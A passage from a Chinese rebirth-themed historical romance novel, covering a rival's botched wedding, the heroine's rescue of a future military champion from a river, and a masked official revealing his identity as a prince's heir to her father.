而霍凝玉此举,又一次提醒众人,江宁是怎么嫁入谢家的。
这个镯子,这么重要,谢家却没要回去,说明谢家并不在意江宁。
说不定还有什么计划也不一定。
霍凝玉给她,这是一种羞辱。
谢家不认可,她上赶着嫁。
霍凝玉把东西送到,就退了出去,顾佳倩也立即跟出来。
“霍姐姐。”那脸上的笑,压都压不住,“你是故意的?”
“什么故意的?我可是花了好些钱买的。”霍凝玉一本正经。
“对,糟蹋好东西可是罪过。”顾佳倩挽住她的胳膊,“走,我们一起找个位置,观礼。”
时辰到,谢正阳喜气洋洋来接亲。
可惜大公主府没有适合的男儿背新娘,又是个义女。
只得让喜婆和丫鬟扶着新娘出来。
可是那腿走得一瘸一拐,很是滑稽。
到了谢府,本来配的两个丫鬟,少了一个。
喜婆的个子又矮,两人一边一个,把人扶着走得更加吃力。
在跨火盆时,江宁的腿实在疼得厉害,一不小心,直接踩在了火盆里,好在谢正阳反应快,一把抱起,才没让喜服被烧着。
当行三跪九叩之礼时,她的腿更疼。
最后夫妻对拜的最后一下,江宁实在没忍住,直接趴到了地上。
礼官一看这情形,都不知道怎么喊下一句。
脑子飞快转动才想到一句:“新郎玉树临风,迷倒了新娘。男人是天,女人是地。大善!快快送入洞房,早生贵子。”
礼官的话引得一阵哄堂大笑。
新娘子盖着盖头,根本看不见新郎,怎么迷倒?
这些事,霍凝玉当天就听说了。
可惜兜了一个圈,江宁还是嫁入了谢家。
那就只等她发挥最大的作用吧。
才短短四个多月时间,辰王的势力因她的重生已经折了几个人。
未来如何,她等着看。
快要过年了,容华芝早就安排好家里的绣娘给府中几位主子每人做四套过年新衣。
府中下人每人两套冬衣。
容华芝与霍鹏程商量,今年给府中的女仆每人发一支银簪子,为女儿的重生施恩。
霍鹏程自是同意。
霍家并不穷,祖上留下的产业不少。
霍鹏程能做到户部尚书,对经营之道自是精通。
表面上都是容华芝在管理,而实际是夫妻俩在被窝里就把事情商量好。
各产业要如何运作,霍鹏程都
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会告诉容华芝,他定夺后,容华芝按他的要求分派下去。
田产,庄子,铺子,作坊都有能干的管事,也是霍府的世仆。
“凝玉,今日已经腊月十八了,走,陪娘去买些首饰。咱们娘儿俩也好好打扮打扮,过个漂亮的年。”
容华芝想把女儿打扮得更漂亮,过年带出去走亲戚。
“好啊。”霍凝玉自那日去大公主府,再没出去过。
吴娘子腊月十五后就不再来霍府上课了,过了正月十五再上门。
这三天,她都安安静静待在自己院里作画。
她现在绘画技艺进步了很多。
霍鸣昶羡慕得呱呱叫。
母女俩来到京中有名的锦玉坊。
铺子里客似云来,都趁年前挑中意的首饰过年戴。
好些都是认识的熟人。
相互打个招呼。
霍凝玉看到一对母女,正是前不久第一个打杀了外室的梁御史的夫人。
现在虽还是御史,但已不是之前的御史中丞,而是降到了监察御史。
五品降到七品。
但母女两人都认真挑着首饰,从她们的面容上看不出半点异样。
反而面带微笑,一副幸福开心的模样。
两人挑好,付了钱,转身看到霍凝玉母女。
“见过霍夫人,霍乡君。”梁夫人带着女儿上前见礼。
带着真诚,友好。
其实两家并不熟,但梁御史是霍凝玉外祖父的下属官员,每年过年梁夫人都会给霍府送来一份年礼。
“梁夫人,梁小姐免礼。”容华芝扶起二人,“梁小姐长得可真标致,我记得快十六了吧,可有定下人家?”
“回夫人,已经定了人家,婚期在明年四月。”梁夫人恭敬答道。“霍乡君也是个美人儿,今日这首饰真漂亮,好像没见哪里有卖的,这款式真新颖。”
梁夫人也顺势夸霍凝玉。
“梁夫人好眼力,这是内务府打造的。”霍凝玉今日正好戴了赵炳煜送来的那套十二件头面。
说话间,梁小姐的眼神总在霍凝玉脸上打转。
“梁小姐怎么这么看我?”霍凝玉奇怪问道。
梁小姐的脸色不太好,好像没睡好似的。
“霍乡君,可否借一步说话?”梁小姐回过神,说出的话让人更加奇怪。
第74章 一场梦
霍凝玉见她认真的样子,好像有很重要的事情要说似的。
点了点头,拉着她来到一处没人的角落。
“梁小姐,可是有事要与我说?”霍凝玉温声问道。
“霍乡君,我不知道为什么,我做了一个很奇怪的噩梦。”梁小姐脸色瞬间惨白。
她想到那个梦就害怕得身子发抖。
“什么梦?”霍凝玉一怔。
“霍乡君,我梦见我被父亲那个外室陷害,送去了普陀庵,然后......”说到这里,她眼里闪着惊恐。
“我被......我被玷污。投环自尽,而就在那一刻,我看到了你。
你就飘在我眼前,那么真实。
可普陀庵明明因为你,已经被赵大人全部查抄。
我不知道为什么会做那样的梦。
几乎每个晚上都会做同样的梦,每次我都看到你。”
梁小姐眼里的惊恐越来越盛。
霍凝玉见她身子已经开始颤抖,就知她梦魇了。
“梁小姐,不用怕,那些事不会发生,普陀庵已经不存在,林缘寺也被查封。
那个外室不是已经**吗?不会有机会陷害你的。
那只是一场梦,就当是上辈子的事吧。”霍凝玉握住她的手,温声安慰。
“你说得对,是我想多了。听了你的话,我心里好像喝了镇定药,突然就平静了。”梁小姐如梦初醒般,感觉一切又清明了似的。
“如此甚好。你父亲没为难你母亲吧?”霍凝玉关心问道。
“有,但我娘不怕父亲,现在他官职降了,比我舅舅的官职还低,他不敢欺负我娘。
而且我娘已经想开,只一心顾好我和我弟弟,其他一切不管。
家里的妾室,我娘说谁敢不敬主母,闹幺蛾子,直接卖。
这些日子,我爹看到我娘这么强势,只有讨好的份。
我娘难得这么硬气过日子,感觉过得比以前还要舒心。”
说到最后,梁小姐脸上露出笑容。刚才的阴霾消失不见。
“那就好,过好当下,不要想太多。”霍凝玉拍了拍她的手。
这姑娘的命运因她而改变了,不会走上前世的路。
只是她怎么会梦到前世的经历?
或许命运改变,也要让她在梦里体会一遍,从而更懂得珍惜当下。
“霍乡君,我可以和你做朋友吗?”梁小姐见霍凝玉并没有高高在上的架子,小心翼翼说出自己的心意。
“当然可以。以后可以来找我玩。我知道你诗词学得好,我还想向你请教呢。”霍凝玉看到她没有因家里遭了变故而失落,说明心性很好。
“霍乡君谬赞。”梁小姐很高兴。
“就叫我霍姐姐吧,不用叫什么乡君,我比你年长一岁,我叫你琬仪吧。”
梁小姐本名叫梁琬仪。
霍凝玉又多了一个朋友。
铺子里,梁夫人与容华芝也聊了几句那日的事。
梁夫人只是很平淡说了几句。
但话语间也能听出,她对男人已失望透顶。
母女俩各挑了几样不错的首饰,花了几百两。
又逛了几个铺子,买了几匹颜色鲜亮的绸布。
两人来到一间食肆,准备休息一下,顺便用膳。
这时隔壁雅间传来议论声。
甲:“今日秦将军回京了。”
乙:“他不是守边的将军,无召不得回京吗?”
甲:“是他自己向圣上陈情回来的。秦老将军病重,他作为秦家长子,回京侍疾。圣上总不能拦着不让他回来尽孝吧。”
乙:“你说的也是,当年他与大公主有了私情,让圣上震怒,丢去边关。一去就是十多年,这么多年过去,也该回来了。”
甲:“这么多年过去,年少时的冲动估计早就忘了。大公主也早就嫁人,孩子都十六岁了,圣上对他们俩的事可能已经不计较了吧。”
乙:“哎,大公主也是可怜人,还是嫡长公主,再身份尊贵也不是想嫁谁就嫁谁。先皇的几位长公主还有和亲的呢。”
甲:“既然是公主,享万民供养,就得担起公主的责任,这是她们的使命。”
霍凝玉听着隔壁两人的闲聊,才知道秦苍霆今日回京。
而前世他并没有这个时间回来。
秦老将军也没有病。
这中间有什么事,是她不
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知道的吗?
“娘,饭后,你先回府,我有事找赵大人。”霍凝玉想问个清楚。
“那你当心些,早些回府。”
饭后,霍凝玉让珍珠去雇了一辆马车,来到悦景茶楼。
青风自觉让掌柜的给赵炳煜传消息。
没让霍凝玉久等,赵炳煜很快就来了。
“赵大人,来得这么快?你公职不忙吗?”霍凝玉微笑着给他续茶。
“本官短时间办了三件大案,让京中官员人心惶惶。
这种时候,本官还是闲一点好,不然把人都吓出个好歹来,没人替圣上办差了。”
赵炳煜带着几分幽默,语气也轻快。
也不知是不是看到霍凝玉而心情愉悦还是真的没事做,一身轻松。
“哈哈,”赵炳煜的话逗笑了霍凝玉,“皇上让那些养外室的饿了三天,听说他们走出太庙时,一个个都脚步虚浮,半死不活,回到家就如难民进食般,狼吞虎咽。”
“这也是你的功劳。”赵炳煜又把功劳归到霍凝玉身上。
“话可不能这么说,是圣上饿他们的,和我有什么关系?你这话是在为我招仇恨。”霍凝玉连连摆手。
其实她心里门清,间接来说,确实是她造成的。
如果不是她说了梁御史的事,赵炳煜也不会去查那些官员。
说起来这种事不过是官员的私生活,没发现就当什么事也没有。
发现了,当一段风流韵事。
圣上也不会计较,最多训斥一顿,稍稍处罚一下。
然,朝中那么多官员同时被查出,那问题就不一样了。
“说吧,找本官何事?是不是又梦到什么了?”赵炳煜岔开话题。
“我听说守边的秦将军回京了?”霍凝玉收起笑容,郑重问道。
“嗯,秦老将军病重,他作为嫡长子,回京侍疾,理所当然,南楚自来以孝治国,他此举合情合理。”
“可知秦老将军得了什么病?”霍凝玉想不通的是这个。
前世这时候他明明没病,而是后来才病的,提前了几个月。
“风寒。”
“这病太医都治不了?”霍凝玉不相信。
第75章 她有本官送
“不过是一个让秦将军回来的借口罢了。”赵炳煜不屑。
“是不是辰王设计的?”霍凝玉首先想到的就是辰王。
他把江宁母女送到大公主身边,再把秦将军弄回京,处处为大公主考虑,大公主定会深受感动。
站到辰王那边是迟早的事。
“真是个聪明的姑娘。”赵炳煜不吝夸赞。
“那要是大公主和秦家都成了辰王的人,圣上会如何想?”霍凝玉有些担心。
刚刚搞倒几个辰王的人,大公主和秦家又这么快补上。
前世这事在一年之后才发生。
而今世却这么快就来了。
“你不希望秦家站队辰王?”赵炳煜感觉霍凝玉有些过激了。
“这不是我希不希望的问题。
而是如此的话,霁王的势力可能就不及辰王了。
圣上不是一直想维持一个平衡吗?”
霍凝玉立刻补救,她也意识到自己说得过了些。
赵炳煜的实际身份是靖王世子,又是养在圣上身边。
他也是皇家人,他是如何想的,她不知道,也不敢问。
“你一个闺阁女子,想得也太多了,这些事不是你该操心的,而是你父兄要考虑的。”
“我......”霍凝玉被噎住,“我只是随便说说。”
一时之间,两人同时沉默。
“你回去与你父亲好好说说,让他务必把三皇孙教导好。”过了几息,赵炳煜打破静谧。
霍凝玉听得此话,震惊地抬眼,看向他的眼睛。
他的眼里看似平静,实则含了无数锋芒。
但又好似什么也没有。
忽而又勾了勾唇角看着她,似肯定,又似安慰。
霍凝玉似乎懂了他的意思。
教导好三皇孙,言外之意是他看好三皇孙,而他又是圣上最信任的人,那是不是圣上也是这个意思?
渐渐地,霍凝玉的脸上荡开一抹甜甜的笑。
“我父亲一定会好好教授三皇孙学问。”霍凝玉如保证般说道。
但只敢说学问,没敢说教导。
赵炳煜见她明白了自己的意思,淡淡颔首。
当真聪明。
霍凝玉拿起茶壶,为赵炳煜续了茶,又亲自端起送到赵炳煜身前。
她想谢谢他。
“赵大人请喝茶。”脸上的笑从灿烂转为温婉。
赵炳煜很受用。
轻轻抬起手,从她手中接茶。
然,在接茶时,却连她的手一起握住了。
霍凝玉突然被握住手,惊得立刻就要抽回。
一拉一扯,茶水从杯里洒了出来,泼在两人的手上。
滚烫的茶烫红了两人的手。
但赵炳煜顾不得自己的,反而放下杯子,把霍凝玉的手拉到自己身前,轻轻吹了吹,试图减轻她的疼痛。
“没事的,只是一点点。”霍凝玉没想到不近人情的赵大人会做出这种动作。
可他的眼神又那么认真而专注。
她又不好责备。
她又试图阻止。
可,赵炳煜不放手,直吹了好几息才停下。
那酥酥麻麻的感觉直入心灵深处。
“是在下唐突了。”连他自己都不知道为什么想握住她的手。
此时他的脸也烧得慌。
两人之间尴尬静默。
“我该回去了。”霍凝玉想知道的事已经知道,提出告辞。
其实是想躲避。
“我送你。”
“不用了。有青风在,安全你放心。”霍凝玉刚才的尴尬还没过呢,只想离他远远的,缓解尴尬。
只是她刚走下楼梯,就被人拦住。
“霍乡君,真是巧,咱们又见面了。”正是廖含章。
“廖公子,有事?”霍凝玉一见到此人,有点反感。
“霍乡君,自上次在下和鲁兄给了你两份我们的策论后,再没机会见到你。不知道霍大人可否看了?”廖含章深深一揖,问道。
脸上的笑容,带着讨好。
可仔细看他的眼神,却看出些别的意味。
而这一幕正好被站在二楼的赵炳煜看在眼里。
“头儿,那小子什么意思?怎么对着霍小姐笑得那么猥琐?他是不是在打霍小姐的主意?”余征一眼就看出廖含章目的不纯。
那是头儿看上的女人,哪个敢下手,他一剑给剁了。
“你怎么看出他要打霍小姐的主意?”赵炳煜扫了他一眼。
“头儿,你看属下时是什么心情?你再想想你看霍小姐时是什么心情?
心情不同,眼神自然也就不同。
而那小子看霍小姐的眼神明显带着勾引和占有。”余征一副过来人般经验老道地发表看法。
“你就是用那样的眼神看你
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喜欢的姑娘?”赵炳煜又冷冷地扫了他一眼。
抬腿下楼。
“廖公子,你与鲁公子的策论我已给家父看过,他说你们都写得很好,他没有什么地方可指点的。”霍凝玉其实压根把这事给忘了。
但既然前世这两人一个考了状元,一个考了榜眼,那就直接夸一夸,让他自以为是去。
最好让他高兴得以为自己学问已到了登峰造极的地步,接下来几个月不再努力,只想如何钻营人际关系。
“霍大人真的这么说?”廖含章高兴的笑容更夸张了些。
“是。祝廖公子金榜题名。”霍凝玉留下此话就往门口走去。
“霍乡君,多谢你,你是要回府吗?看你是一个人,在下送送你吧。”廖含章狗腿地跟上去,想做护花使者。
“不必了。”霍凝玉本想快些摆脱此人,他竟然还黏上来。
“正好在下也无事,你和霍大人帮了我这么大一个忙,在下本想做东请你和霍大人用膳,略表谢意,但想来霍大人定是公务繁忙,所以还请霍乡君莫要推迟。”
廖含章继续纠缠。
“她有本官送,不劳这位公子费心。”赵炳煜冰冷的声音在身后响起。
两人同时回头。
霍凝玉脸上立刻挂上了笑容。
有他出场,廖含章自会知难而退。
这人真是不会看人脸色,看不出她对他已经不耐烦了吗?
也不知道前世他怎么就入了辰王的眼。
靠不要脸皮?
廖含章一看到是个戴着钟馗面具的男子,身姿挺拔,腰配长剑,一身黑衣。
一股威压扑面而来。
那气势比他一个文弱书生强太多,不自觉往后退了一步。
赵炳煜趁机正好站到霍凝玉身边。
眼神如刀直射廖含章。
廖含章只是慌乱了那么一瞬,已知此人是谁。
“在下进京赶考学子廖含章见过赵大人。”廖含章现在无官无职,在赵炳煜面前那就是小人物。
可赵炳煜连一个眼神都懒得给他。
“走吧。坐我的马车。”赵炳煜自然地牵起霍凝玉的手,向外走去。
霍凝玉几乎是被他拉着走的。
上了马车,赵炳煜身上散发着迫人的气势。
生人勿近,特别明显。
“你在生气?”霍凝玉傻傻问道。
第76章 守株待兔捞人
“你.....”赵炳煜只说了一个字,后面不知道怎么说。
这姑娘是真傻还是假傻,那叫廖含章的明显对她有意,她竟没看出来。
“没生气,不过是那人不太讨喜。”赵炳煜改了话。
“没错,那人我也很反感,自以为是,脸皮还很厚。不过他学问尚可。”
这一点霍凝玉不得不承认,前世能被点为状元,在学问上自是比好些学子优秀。
“你很欣赏他?”赵炳煜听到她认可廖含章的学问,心里有点不舒服。
“他还没我哥哥写得好,谈不上欣赏。前些日子遇到,他托我带两份策论给我父亲看,我看了一下,写得虽浮夸了些,却有些新意。我不懂,这只是我个人感觉。”
“那霍大人怎么说?”赵炳煜又问。
“我并没有给父亲看。我也不想给父亲看。”霍凝玉对他没有好感,自是不会去麻烦父亲。
赵炳煜心里莫名又平静下来。
翌日。
霍凝玉就收到消息。
大公主派人去秦府为秦老将军看诊。
正是杨氏。
经过几日诊治,秦老将军的病情果真得到控制,说是调养一个月左右就能痊愈。
而秦苍霆作为秦家嫡子,入公主府拜谢。
秦将军入大公主府那日,正好驸马回了本家不在府里。
霍凝玉可以想象,大公主见到十多年不见的情郎会是什么样的心情。
现在大公主的不孕症被杨氏治好。
大公主为何想治好,不言而喻。
霍凝玉心里升起一丝烦躁。
她想阻止,可是苦于没有办法。
秦府作为南楚的武将之家,掌管南楚八万兵力,镇守南楚与北魏相接的边关。
圣上倚重的重臣。
想到他被大公主怂恿后来也投向辰王。
前世秦家虽然没有参与陷害霍家的事,但秦家的支持让辰王最终上位加大了筹码。
冥思苦想,霍凝玉想到一个人。
明年三月除了会试,还有武试。
她魂飘时,家人死后她最爱去的地方当然是辰王府。
她不是喜欢去,而是恨他,想知道他一般都做些什么。
有什么计划。
她一步步看着辰王如何拉拢势力,如何打败霁王和其他兄弟。
最终朝上三分之一数的朝臣都举荐立辰王为太子。
而现在的太子也是被他几次计谋下早早**,死在圣上前面。
有一次去辰王府,正好看到他正在书房与一人说话。
正是明年武试的武状元,钟离洛。
一个只有二十一岁的英俊公子。
她记得清清楚楚他们之间的对话。
钟离洛:“在下的命是王爷所救,王爷让在下做什么,在下就做什么。”
辰王:“钟离公子,不必如此,那日不过是运气,正好看到东江上有个影子。”
钟离洛:“如果没有王爷把在下捞上来,在下早就**。此恩在下没齿难忘。在下愿做王爷手中卒。”
钟离洛跪到了辰王面前。
辰王亲自上前把他扶起,脸上的笑,霍凝玉至今都记得。
那是收下一个有用之人的高兴。
辰王:“既然钟离公子如此有诚意,本王就收下你的投诚。本王想办法安排你进京畿营,你需在一年之内,掌握五千人。”
后来霁王被逼**,就是此人和忠义伯带着一万京畿营的兵**下去,霁王当场**,圣上被气得再也不能理政。
霍凝玉又仔细想了想,此人是什么时候被救的呢。
前世此时她还没死,只能靠后来看到的一些事来推断。
好像就是在年前。他离京较远,早早就进了京。
不知道什么原因落入东江。
想到此,霍凝玉眼睛一亮。
现在辰王被禁足,不可能有机会救他。
那他必死无疑。
这个救命恩人,她来做。
此人有恩必报,仗义,勇猛。如果把此人引荐给太子,辰王少了一份助力,太子多了一个帮手,岂不妙哉。
接下来几日,霍凝玉每日都带着两个丫鬟和青风出城。
包下一艘游船,在东江上来来**游江。
可是几日过去,也没见到东江上飘有东西。
眼看就要过年了,天气又冷,早就没人在江上游玩。
她也不知道前世辰王为什么那么巧这个时候出来游玩。
难道是辰王特意安排的?
如果是辰王特意安排的,那她这几日不就白来游江了?
但她不死心
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,又出门了两日。
今日已是小年日。
扫尘祭灶。
今早出门,还被母亲数落了一顿。
大冷天游什么江。
可是没有把握的事,霍凝玉不想和母亲说。
她以练习画江景为由,每日在船上作画。
这几日**风给吹得,脸都快皲裂了。
“玛瑙,磨墨。”实在没别的事做,只有画画。
前前后后,她已经画了十几幅江景。
“小姐,今日的天气实在冷,还是别画了吧。”珍珠劝道。
“没事,我多练练,说不定哪天就成了大师。
要是没钱过日子,还可以靠卖画养活自己。”霍凝玉自我调侃道。
“小姐说的什么话,您可是有千亩食邑。怎么都不会饿着。”珍珠好笑。
霍凝玉搓了搓手,展开宣纸,又一次开始作画。
下笔如有神助,时而看一眼江景,再继续落笔,时而看一眼岸上。
没多久,一幅江景跃然纸上。
两只白鹭飞在半空,一艘渔船正在江心,一个老翁在撒网捕鱼。
“小姐,江上明明什么都没有,你却添加这么多,让画看着更加传神,应景。奴婢不懂画的都好喜欢。”玛瑙真心夸赞。
“小姐,你看。”这时青风突兀的惊叫声从船尾传来。
霍凝玉顺着他的手指方向看过去。
正从上游飘下一个不明物体。
他们的船正在向下游慢慢划行,而青风正在船尾撑船。
“青风,是不是一个人?”霍凝玉急切问道。
“有些远,看不清。”青风已经停下划船。
“快,把船划过去。”
那物体明显在江中央,而他们的船靠岸边近些。
青风动作麻利地撑着船迎向那漂浮物。
“小姐,真的是人。”青风把船划得更快。
刚刚与飘在水里的人错身之际,一把将他捞了上来。
霍凝玉立即把那人的脸板正。
果然是他。
太好了。
这么多天的冷风没有白吹。
“小姐,他受伤了,而且还中了毒。”青风一眼就看出这人快不行了。
“什么?”霍凝玉一惊,她只想到要在江上救人上岸,却没想到他性命垂危。
第77章 你是否对凝玉有意?
要是没救活,她不是白忙活了这几日?
“不过,还有心跳。”青风又仔细检查了一下。
“青风,给他换身干衣,我们立刻回城找大夫。”
“是。”
靠岸,上马车,以最快速度回府。
没有直接去医馆,而是中途让青风去找个相熟的大夫到霍府。
只是一起来的居然还有赵炳煜,而请来的大夫还是太医。
“赵大人怎么来了?”霍凝玉惊问。
今日都小年了,难道他也不回府吗?
“从今日起,衙门封印。”
霍凝玉这才惊觉,从今日开始正式进入过年,官员开始休衙。
圣上也封印,准备过年。
太医一见到病人,开始检查钟离洛的身体。
霍家人都围在床前看着。
病人的脸色极其难看,嘴唇发紫,毫无血色。
身上多处刀伤。
霍凝玉看到太医还从他胸口处拔出两个小小的暗器。
没死,真是命大。
太医又给病人喂下一粒药丸才停下。
“胡太医,怎么样?”霍凝玉等不及。
“回霍乡君,病人暂时死不了,能不能活,还得看他明日能不能醒来。
好在他落进了水里,减缓了血液流动,延缓了毒性发作。不然他早已经**。
此人因武功高强,所受的伤都不在要害,又增添了活命的机会。”胡太医解释道。
“多谢胡太医。”霍凝玉提着的心,放下了一半。
钟离洛是习武之人,身体底子不错,应该能熬过去。
“老夫再开个药方,煎服。明日老夫再来给病人换药。”
胡太医又交代了一些医嘱才收拾药箱离去。
容华芝安排两个小厮伺候。
一行来到霍家主院正堂坐下,把伺候的都打发出去。
赵炳煜把自己当霍家人似的,坐到客位上。
“凝玉,说说,怎么回事?这些日子你一反常态,连续出门游江,是不是就是为了救下此人?”霍鹏程最先开口。
霍家人都知道,霍凝玉用做梦来骗赵炳煜,她为什么知道一些未发生的事。
所以也就不避着他了。
“是。”霍凝玉很干脆承认。
“此人是什么身份?”赵炳煜忍不住问道。
“我只知道他是明年武考的武状元,其他不知。”当着赵炳煜的面,她不能说得太多。
“也是你梦见的?”赵炳煜越发奇怪。
她怎么尽做些与她自己无关的梦?
“是。”
“今日是你救了他,而你又说他是明年的武状元,说明他没死,那你的梦里是谁救了他?”赵炳煜发现一个明显的漏洞。
“是......”霍凝玉被问得一噎,可想到赵炳煜的身份,她还是说实话,“是辰王,可是辰王现在被禁足,所以如果我不去救他,可能真的**。”
“你这梦真有意思。”赵炳煜摇了摇头。
“霍大人,今夜晚辈想叨扰一晚,等他醒来。
我怀疑他是被人暗杀。
武功再好也双拳难敌众手,说明有人知道他武功了得,想折我南楚一员未来猛将,或许是敌国所为。”赵炳煜想得更远。
真不愧是圣上亲自带大的。
霍凝玉暗自点头,与他合作果然是对的。
只是今日他怎么自称晚辈,而不是本官呢?
“好,夫人,给赵大人安排一个客房。”霍鹏程对赵炳煜的敏锐赞赏。
而且他希望他能赢得女儿的心,好招为女婿。
所以赵炳煜想留宿自是欢迎。
“霍夫人不必特意为晚辈安排,就在病人睡的那间的旁边即可。
“好。我这就给你准备。”容华芝起身出去。
“都散了吧。”霍鹏程站起身。
“赵大人,可否到书房一叙?”霍鹏程邀请。
两人来到外院书房。
霍鹏程让小厮守好门户,不得让任何人靠近。
“赵大人,你让凝玉带给我的话,可是认真的?”霍鹏程想听他亲自说。
赵壑可是天子近臣,直属圣上亲领。他的一言一行何其重要。
“霍大人,您可直呼我名。”以前没什么感觉,可今日听着霍鹏程叫他大人,感觉有些不自在。
霍鹏程刚才就听他自称晚辈,现在又让直呼其名,很满意。
“赵壑,你可知你的一言一行代表着什么?”霍鹏程很想说,你这是在揣测圣心。
要知道天威难测,圣心如渊。
一个不好,就会搭上性命。
“霍大人,你已没得选,而
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我正是因你没得选而说出此话。”赵炳煜淡淡一叹。
可连他自己都不知道为什么说出了这句话。
“你......”霍鹏程一顿,但脸上带起了几丝笑容。年轻人,可能他自己都不知道自己在说什么。
“你是否对凝玉有意?”干脆直接问,来得痛快。
赵炳煜怔住。
**,他只知道,他想靠近霍凝玉。
她的事,他总想第一时间为她做。
总会在不经意间想到她的一颦一笑,一言一行。
想.....
还有很多,到底是从什么时候开始的?
他竟然不知道。
或许从第一次她求他开始。
可是他配拥有家吗?
霍鹏程见他不说话,一副沉思的模样。
“无法回答?”霍鹏程见他久久不答,出声提醒。
“霍叔,您希望我娶贵府小姐吗?”赵炳煜不答反问,不知不觉改了称呼。
“凝玉之前遇到那等糟心事,她就与我说,她一辈子不嫁人。
我担心她一辈子封情锁爱,再也走不出心魔。
我们做父母的,不可能陪她一辈子。
她两个兄弟以后也会成家,会有自己的妻儿,到那时,她一个人要怎么过?
我希望我的女儿能找到一个一心向她的知心人。
不求荣华富贵,只求愿得一人心,白首不相离,有儿有女在膝下。
而近来,她与你走得近,我想她可能不排斥你,如果你对她有意,能做到不离不弃,我希望你能主动向她示好,赢得她心。”
霍鹏程一颗为儿为女老父亲的心,在赵炳煜面前体现得淋漓尽致。
这一刻,赵炳煜又想到自己的父亲。
人与人之间的差别如万丈沟壑。
而他是个无福之人。
如果他也有像霍鹏程这样的父亲,该多好。
小时候他多渴望父亲能在意他一点,哪怕一点点。
可是直到母亲去世,他都没等来一丝丝。
只等来一句:按礼葬了。
灵堂上只有他一人,小小的他跪到腿麻膝痛。
从那时起,他就再也没亲人。
除了皇伯父,他不在意任何人。
“霍叔,我的身份你可知?”赵炳煜喉头有些发紧。
第78章 摘下面具
“我并不知,但你能在圣上跟前当差,想来应是圣上最亲近和信任的人,是不是圣上的影卫?
不过,不管你是什么身份,只要你能与我女儿好好过日子,就算你是一个孤儿也没关系。
大不了你入我霍家,我霍家就是你的家。
我自也当你与鸣羡和鸣昶一样疼爱。”霍鹏程把自己的态度表明。
他真怕女儿一辈子不嫁人。
逮住一个女儿愿意亲近的人就不想放手。
赵炳煜听了霍鹏程的话,喉咙越发哽得难受。
心里有一个声音在不停怂恿他接受。
从此他就有了家人,有了爱人,以后还会有自己的孩子。
霍家的亲情,让他想抓住。
那个姑娘让他想亲近,想拥她入怀。
她的笑总是那么阳光,照进他阴暗的心里,夜晚入他梦里。
“好!”赵炳煜应下郑重的一字。
“只是不知霍小姐是怎么想的。”赵炳煜没有明显感觉到霍凝玉对他有情。
只是因为他的身份,可以帮到她。所以她才会一而再再而三与他亲近。
他见过一些贵女,看上哪个男子,就会明目张胆接近男子,把女儿家的矜持抛之脑后,为了追求自己的幸福,不顾一切。
可霍凝玉从不主动亲近他,有事才会找他,一直以来都是他不自觉想靠近她。
“哎,所以我才说让你主动些亲近她,让她感觉到你的情意。久而久之,日久生情,这事不就水到渠成了吗?”霍鹏程教导,一副过来人的模样。
“想当年,我看上凝玉她娘,就想尽办法找机会接近她,再时不时送些小礼物,等火候差不多,再找人上门提亲,一提一个准。
这夫妻啊,最好不要盲婚哑嫁,婚前两人就有了情意再结连理,才是人间最圆满。
当时我还没参加会试,就有数家上我霍家提亲的,但我总要选一个自己中意又中意我的,才能心心相印。
娶妻可是人生大事,绝不能马虎。
当然嫁女也一样不能马虎。
女人最怕就是嫁错郎。那就毁了一生。
希望你能明白我的苦心。”霍鹏程说的这些话算推心置腹了。
“多谢霍叔教导。这是二十三年来,第一次有人如此教导晚辈。受教了。”赵炳煜起身向霍鹏程深深一揖。
皇伯父从不与他谈这些,只是提了数次让他娶妻。
只要他点头,皇伯父定会挑选京中最好的女子指婚给他。
“你已二十三岁了?”霍鹏程并不知道,霍凝玉也没告诉过他,赵炳煜的身份。
居然比他女儿整整大了六岁。
转念一想,大就大点吧,大了知道疼人。
“是。”
“这里没有外人,可否摘下面具让叔看看,可别脸上有疤,吓着我女儿。”他得先验看一下。
其实他自己也很好奇。
赵炳煜怔住。
面具是圣上让他戴上的,不到万不得已,不可取下。
目前他的靖王世子身份在边关从军。
如果传出去,可能会引起麻烦。
“不方便?还是脸上真有疤?”霍鹏程见他犹豫。
“霍叔,您见了我的真容,可能就不愿意把女儿嫁给我了。”赵炳煜又想到另一个问题。
霍鹏程知道了他的**,会不会认为他是个不祥之人,从而改了主意。
“不会,我女儿虽在我心里是千好万好,可在外人眼里,是被退过亲的。
自退亲后,这都四个多月过去,也没人上门提亲,可见她的名声还是受到了莫大的影响。”
霍鹏程为此生了好长时间的气,可改变不了世人的想法。
他不得不接受现实,故意如此说自己的女儿,让赵炳煜不要有心理负担。
赵炳煜慢慢抬起手,取下戴了五年的面具。
除了每日洗脸,就是睡觉他都戴着。
霍鹏程看着赵炳煜的脸慢慢呈现在眼前。
双目如星,骨相清贵,眉峰如远山含黛,斜飞入鬓,隐着三分凌厉。
肤色因长期戴着面具而显得瓷白,透亮。
时间久远,一时之间没认出来。
两人本也没见过几面。
可怎么这么面熟。
再认真看,居然与圣上长得有几分相似。
还和靖王也长得相似。
二十三岁。
“你是靖王世子?”霍鹏程终于想起来了。
“炳煜见过霍叔。”赵炳煜又郑重向霍鹏程一礼。
霍鹏程震惊得不知说什么。
在书房里徘徊起来。
难怪圣
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上如此信任他,还为他特设一个官职,只听命于圣上。
难怪要戴着面具,方便行事。
一切只一瞬就想通了。
圣上对他,比对自己的亲儿子还要亲近。
女儿是不是早就知道?
所以才抱上他的大腿。
对,女儿是重生的,肯定知道。
居然都不告诉他,该打。
靖王世子,就是他见了也要行礼的皇家人。
“霍叔,我就是赵壑,不是什么靖王世子。”要是能,他并不想要那个身份。
那个身份带给他的只有抛弃。
霍鹏程停下徘徊的脚步,在赵炳煜肩上狠狠拍了几下。
“是我僭越了。”
“不,霍叔,你刚才还说要待我如鸣羡鸣昶一样。”
“哎,我真是自不量力,居然在你面前说如此大话。”霍鹏程有点脸红。
“霍叔.....”赵炳煜眼含期待。
“你也是个可怜孩子,好在圣上对你不错。我只是一时被惊到。刚才的话算数,不过进我霍家那句你就当我没说过。”
皇家的男儿,霍家就是有十个胆,也不敢招为上门女婿。
只是想到他那个家,女儿要是嫁进那样的家里......
未来的事,未来再说吧。
圣上已经单独给了他一处宅子,大不了就住到那里,不用住进靖王府,反正靖王也不在乎。
“多谢霍叔。”
而被两人讨论着的霍凝玉,正被霍鸣昶缠着讲她今日救回来的那人的具体情况。
霍凝玉大概讲了一下。
听得霍鸣昶直皱眉头。
“大姐,万一他也是个白眼狼怎么办?”霍鸣昶想到江宁那对白眼狼母女,就可恨。
这万一又救一个白眼狼,霍家又会被京里人嘲笑好久。
“此人应该不会。前世辰王救了他,他就一心忠于辰王,为他办事,从无怨言。”
